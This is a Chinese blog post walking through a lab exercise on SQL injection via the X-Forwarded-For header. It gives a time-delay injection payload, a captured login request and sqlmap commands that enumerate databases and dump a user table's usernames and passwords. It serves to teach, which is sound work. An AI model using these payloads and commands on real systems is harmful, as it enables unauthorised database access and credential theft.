X-Forwarded-For注入漏洞实战

介绍

  • 由于系统一般会采用String ip = request.getHeader(“X-Forwarded-For”);进行获取ip,然后注入者就可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip也可以是一些注入语句,如下
X-Forwarded-For:payload';WAITFOR DELAY '0:0:5'--
String sql = "select * from table where ip = '"+ip+"'";
  • 那么我们得到的sql语句就会是这样
select * from table where ip = payload';WAITFOR DELAY '0:0:5'--'
  • 这样就容易被人进行sql攻击,快看一下自己的项目里面是不是有这样的获取ip的方式,有的话如果sql没有预编译,那么肯定可以进行sql注入攻击

目标

  • 对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。

步骤

  • burpsuite抓取,发送请求,返回失败信息和自己的IP
POST /index.php HTTP/1.1
Host: x.x.x.x:45584
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://x.x.x.x45584
Connection: close
Referer: http://x.x.x.x:45584/
Upgrade-Insecure-Requests: 1

username=admin&password=admin

在这里插入图片描述

  • 利用请求头X_Forwarded-For伪装为127.0.0.1进行测试
    • X-Forwarded-For:请求投中用于显示代理真实ip
      在这里插入图片描述

    • 复制请求体中的raw下的所有信息,存放到一个txt文件中
      在这里插入图片描述

    • 使用sqlmap执行以下语句爆出数据库

sqlmap -r xff.txt --dbs --batch

在这里插入图片描述

  • 爆出数据表
sqlmap -r xff.txt -D webcalendar --tables

在这里插入图片描述

  • 脱库,得到用户名和密码
sqlmap -r xff.txt -D webcalendar --tables -T user --dump

在这里插入图片描述

  • 登录,得到key
    在这里插入图片描述
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值